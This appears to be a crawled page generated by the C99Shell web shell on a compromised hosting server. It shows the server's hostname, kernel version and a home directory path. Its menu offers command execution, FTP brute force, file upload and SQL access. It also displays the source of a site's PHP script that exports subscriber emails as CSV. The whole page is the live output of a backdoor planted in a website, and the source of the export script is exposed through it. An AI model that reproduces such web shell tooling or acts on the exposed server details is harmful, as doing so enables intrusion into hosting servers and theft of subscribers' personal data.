!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.28 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     excel-suscripciones.php (877 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$pagina_actual
="suscripciones";
$categoria_actual="suscripciones";
require_once(
"includes/config.php");
require_once(
"includes/funciones.php");

$query="
SELECT id, fecha, mail, estado
FROM suscripcion
WHERE 1=1
ORDER BY estado DESC,fecha DESC
"
;
$cosas_a_administrar $mysqli->query($query);

header("Cache-Control: public"); 
 
header('Content-Type: text/csv; charset=utf-8');
 
// definimos el tipo MIME y la codificación 

header('Content-Disposition: attachment; filename='."suscripciones".'.csv');
// Forzamos que el archivo se descargue con un nombre definido 

// encabezado del excel
echo "Fecha de alta;Email;Estado;\n";                    

while (
$item mysqli_fetch_assoc($cosas_a_administrar)){    
    echo 
ver_fecha_mysql_lindo($item["fecha"]);
    echo 
";";
    echo 
$item["mail"];
    echo 
";";
    echo 
capitalizar($item["estado"]);
    echo 
";";    
    echo 
"\n";             
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.2873 ]--